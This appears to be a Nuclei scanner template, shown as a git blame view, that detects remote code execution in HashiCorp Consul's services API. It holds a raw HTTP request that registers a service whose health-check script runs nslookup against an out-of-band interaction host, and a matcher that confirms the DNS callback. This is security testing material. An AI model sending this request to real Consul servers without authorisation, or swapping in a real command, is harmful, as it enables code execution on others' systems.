2021-02-26 09:02:50 +00:00
|
|
|
id: hashicorp-consul-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Hashicorp Consul Services Api RCE
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
|
|
|
reference: https://www.exploit-db.com/exploits/46074
|
2021-04-27 10:54:39 +00:00
|
|
|
tags: hashicorp,rce,oob
|
2021-02-26 09:02:50 +00:00
|
|
|
|
|
|
|
requests:
|
2021-02-26 11:06:28 +00:00
|
|
|
- raw:
|
2021-02-26 11:31:59 +00:00
|
|
|
- | # Create USER
|
2021-02-26 11:06:28 +00:00
|
|
|
PUT /v1/agent/service/register HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
|
|
Connection: close
|
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
Content-Length: 205
|
|
|
|
|
|
|
|
{
|
2021-05-02 12:21:44 +00:00
|
|
|
"ID": "{{randstr}}",
|
|
|
|
"Name": "{{randstr}}",
|
2021-02-26 11:06:28 +00:00
|
|
|
"Address": "127.0.0.1",
|
|
|
|
"Port": 80,
|
|
|
|
"check": {
|
2021-03-18 13:06:13 +00:00
|
|
|
"script": "nslookup {{interactsh-url}}",
|
2021-02-26 11:06:28 +00:00
|
|
|
"interval": "10s",
|
|
|
|
"Timeout": "86400s"
|
|
|
|
}
|
|
|
|
}
|
2021-02-26 09:02:50 +00:00
|
|
|
|
|
|
|
matchers:
|
2021-04-27 10:54:39 +00:00
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|